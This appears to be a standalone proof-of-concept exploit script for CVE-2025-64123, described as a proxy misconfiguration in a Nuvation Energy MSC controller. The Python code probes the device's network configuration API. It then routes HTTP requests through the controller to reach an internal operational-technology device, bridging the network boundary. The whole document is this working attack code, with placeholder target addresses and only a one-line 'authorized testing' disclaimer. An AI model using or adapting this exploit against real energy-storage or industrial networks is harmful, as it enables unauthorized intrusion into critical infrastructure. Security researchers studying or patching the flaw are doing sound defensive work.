CVE-2025-64123

# CVE-2025-64123 Nuvation Energy MSC Proxy Vulnerability PoC # This PoC demonstrates network boundary bridging via MSC proxy misconfiguration # Note: For authorized security testing only import socket import requests TARGET_IP = "<target_msc_ip>" TARGET_PORT = 8080 INTERNAL_TARGET = "<internal_ot_device_ip>" def check_msc_proxy_enabled(): """Check if MSC has unintended proxy functionality enabled""" try: # Check MSC network configuration response = requests.get( f"http://{TARGET_IP}:{TARGET_PORT}/api/network/config", timeout=10, allow_redirects=False ) if response.status_code == 200: config = response.json() if config.get('proxy_enabled') and config.get('proxy_allow_external'): return True except Exception as e: print(f"Error checking configuration: {e}") return False def exploit_boundary_bridging(): """Exploit the proxy vulnerability to access internal OT network""" try: # Craft request to internal target through MSC proxy proxies = { 'http': f'http://{TARGET_IP}:{TARGET_PORT}', 'https': f'http://{TARGET_IP}:{TARGET_PORT}' } response = requests.get( f"http://{INTERNAL_TARGET}/api/status", proxies=proxies, timeout=10 ) if response.status_code == 200: print("[+] Successfully bridged network boundary!") print(f"[+] Internal device response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": print("CVE-2025-64123 PoC - Nuvation Energy MSC Proxy Vulnerability") print("=" * 60) if check_msc_proxy_enabled(): print("[!] MSC proxy misconfiguration detected!") exploit_boundary_bridging() else: print("[*] Target does not appear vulnerable")

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